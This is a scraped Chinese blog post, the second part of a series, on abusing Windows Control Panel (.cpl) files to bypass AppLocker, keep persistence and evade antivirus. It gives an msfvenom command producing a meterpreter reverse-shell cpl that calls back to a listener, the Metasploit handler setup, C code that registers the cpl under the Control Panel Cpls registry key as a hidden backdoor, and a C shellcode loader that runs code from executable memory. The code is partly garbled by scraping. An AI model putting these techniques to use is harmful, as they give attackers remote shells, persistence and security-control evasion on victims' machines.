iphone13 pro|巧用cpl文件维权和免杀( 二 )



随便一种方式执行



这里既然可以弹出calc.exe那么能不能执行自己的payload的呢答案是肯定的 。
cpl文件的应用bypass Windows AppLocker什么是Windows AppLocker:
AppLocker即“应用程序控制策略” , 是Windows 7系统中新增加的一项安全功能 。 在win7以上的系统中默认都集成了该功能 。
默认的Applocker规则集合可以看到cpl并不在默认规则中:



开启Applocker规则:
打开计算机管理选择服务将Application Identity服务开启



然后在安全策略中添加一条applocker规则会询问是否添加默认规则



默认规则为:



假设设置某一路径无法执行可执行程序再次运行时就会提示组策略安全不允许运行



绕过的方式有很多这里只讲cpl文件
完全可以把代码写入到cpl文件中同样达到执行目的这里就弹一个cmd



msf直接生成cpl文件生成cpl文件
msfvenom -p windows/meterpreter/reverse_tcp -b '\\x00\\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl



将文件拖到本地并运行msf监听

  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost 192.168.111.128
  • set lport 8877
  • exploit



这样肯定是不够的可以把这个cpl文件当作一个后门做到一个权限维持的效果且比较隐蔽 。
将cpl文件名称改为test.cpl
创建一个项目作用为修改注册表:
HKEY hKey;DWORD dwDisposition;char path\\[\\
 = \"C:\\\\\\test.cpl\";RegCreateKeyExA(HKEY\\_CURRENT\\_USER\"Software\\\\\\Microsoft\\\\\\Windows\\\\\\CurrentVersion\\\\\\Control Panel\\\\\\Cpls\" 0 NULL 0 KEY\\_WRITE NULL &hKey &dwDisposition);RegSetValueExA(hKey \"test.cpl\" 0 REG\\_SZ (BYTE*)path (1 + ::lstrlenA(path)));

不一定将cpl文件放到c盘更目录可以自定义路径
执行后



然后这里在开启control.exe时test.cpl文件也会被打开 。


如果目标主机有杀软可以通过该方法白加黑绕过但是msf的cpl文件特征非常明显静态太概率都会被杀掉 。



除了加壳之外寄希望于自己实现加载shellcode方便做混淆 。
使用shellcode自己做一个cpl文件直接上代码
#include \"pch.h\"#include \"windows.h\"extern \"C\" \\_\\_declspec(dllexport) VOID CPlApplet(HWND hwndCPl UINT msg LPARAM lParam1 LPARAM lParam2){    MessageBoxA(0 NULL \"test\" MB\\_OK);    /* length: 835 bytes */    unsigned char buf\\[\\
 = \"shellcode\";    LPVOID Memory = VirtualAlloc(NULL sizeof(buf) MEM\\_COMMIT | MEM\\_RESERVE PAGE\\_EXECUTE\\_READWRITE);    memcpy(Memory buf sizeof(buf));    ((void(*)())Memory)();BOOL APIENTRY DllMain( HMODULE hModule                       DWORD  ul\\_reason\\_for\\_call                       LPVOID lpReserved                     ){    switch (ul\\_reason\\_for\\_call)    {    case DLL\\_PROCESS\\_ATTACH:    case DLL\\_THREAD\\_ATTACH:    case DLL\\_THREAD\\_DETACH:    case DLL\\_PROCESS\\_DETACH:        break;        return TRUE;